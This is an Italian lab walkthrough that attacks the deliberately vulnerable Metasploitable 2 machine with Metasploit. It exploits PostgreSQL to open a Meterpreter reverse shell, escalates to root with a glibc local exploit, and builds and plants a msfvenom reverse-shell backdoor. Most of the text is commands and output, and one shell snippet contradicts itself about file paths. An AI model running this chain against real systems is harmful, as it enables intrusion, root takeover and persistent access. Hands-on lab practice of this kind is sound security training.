

Usa il modulo `exploit/linux/postgres/postgres_payload` per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

```
Matching Modules

#  Name                                     Disclosure Date  Rank    Check
-  -
0  exploit/linux/postgres/postgres_payload  2007-06-05      excellent Yes
1  \_ target: Linux x86                      .               .       .
2  \_ target: Linux x86_64                  .               .       .
3  exploit/windows/postgres/postgres_payload 2009-04-10      excellent Yes
4  \_ target: Windows x86                   .               .       .
5  \_ target: Windows x64                   .               .       .

Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/postgres/postgres_payload.
After interacting with a module you can manually set a TARGET with set TARGET 'Windows x64'.

msf6 > use 1
[*] Additionally setting TARGET => Linux x86
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > options
```

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.51.101
RHOST => 192.168.51.101
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.51.102
LHOST => 192.168.51.102
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.51.102:4444
[*] 192.168.51.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC
[*] Uploaded as /tmp/cWbWQtYR.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.51.101
[*] Meterpreter session 1 opened (192.168.51.102:4444 -> 192.168.51.101:53786)

meterpreter > 
```

Cerchiamo nei vari post (e grazie al suggerimento) scegliamo il numero 1:

```
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > search recon type:post platform:linux

Matching Modules

#  Name                                     Disclosure Date  Rank    Check    Description
-  -
0  post/multi/recon/multiport_egress_traffic .              normal   No       Generate TCP/UDP Out
1  post/multi/recon/local_exploit_suggester .              normal   No       Multi Recon Local E
2  post/multi/recon/reverse_lookup         .              normal   No       Reverse Lookup IP A
3  post/multi/recon/sudo_commands          .              normal   No       Sudo Commands

Interact with a module by name or index. For example info 3, use 3 or use post/multi/recon/sudo_commands.
```

Ci vengono dati 6 payload potenzialmente funzionanti, usiamo il primo:

```
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.51.101 - Collecting local exploits for x86/linux ...
[*] 192.168.51.101 - 196 exploit checks are being tried...
[+] 192.168.51.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.51.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.51.101 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.51.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but the target appears to be vulnerable.
[+] 192.168.51.101 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.51.101 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is susceptible.

[*] 192.168.51.101 - Valid modules for session 1:
=====
```

#	Name	Potentially Vulnerable?
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Yes
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Yes
3	exploit/linux/local/netfilter_priv_esc_ipv4	Yes
4	exploit/linux/local/ptrace_sudo_token_priv_esc	Yes
5	exploit/linux/local/su_login	Yes
6	exploit/unix/local/setuid_nmap	Yes

```
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload payload/linux/x86/meterpreter_reverse_tcp
payload => linux/x86/meterpreter_reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
```

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on
SUID_EXECUTABLE	/bin/ping	yes	Path to a SUID executable

```

Payload options (linux/x86/meterpreter_reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.51.102	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.51.102:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.rZJdePxS3' (1271 bytes) ...
[*] Writing '/tmp/.N1zNgR4YX9' (291 bytes) ...
[*] Writing '/tmp/.Du9kQ1ck' (1137332 bytes) ...
[*] Launching exploit ...
[*] Meterpreter session 2 opened (192.168.51.102:4444 -> 192.168.51.101:57617) at 2024-09-25 18:45:19 +0200

meterpreter > getuid
Server username: root
meterpreter > 
```

Adesso creiamo una backdoor:

```
(kali㉿kali)-[~]  
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.51.102 LPORT=4445 -a x86 -f elf -o backd00rz  
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
No encoder specified, outputting raw payload  
Payload size: 123 bytes  
Final size of elf file: 207 bytes  
Saved as: backd00rz
```

E carichiamola sulla metasploitable, ed avviamola

```
meterpreter > shell  
Process 7234 created.  
Channel 2 created.  
mv backd00rz /opt/loads  
chmod 700 /opt/backd00rz  
ls /opt  
backd00rz  
/opt/backd00rz
```

Ci mettiamo in ascolto sulla porta:

```
msf6 > use 16  
[*] Using configured payload generic/shell_reverse_tcp  
msf6 exploit(multi/handler) > set LPORT 4445  
LPORT => 4445  
msf6 exploit(multi/handler) > set LHOST 192.168.51.102  
LHOST => 192.168.51.102  
msf6 exploit(multi/handler) > set payload payload/linux/x86/meterpreter_reverse_tcp  
payload => linux/x86/meterpreter_reverse_tcp  
msf6 exploit(multi/handler) > run  
  
[*] Started reverse TCP handler on 192.168.51.102:4445
```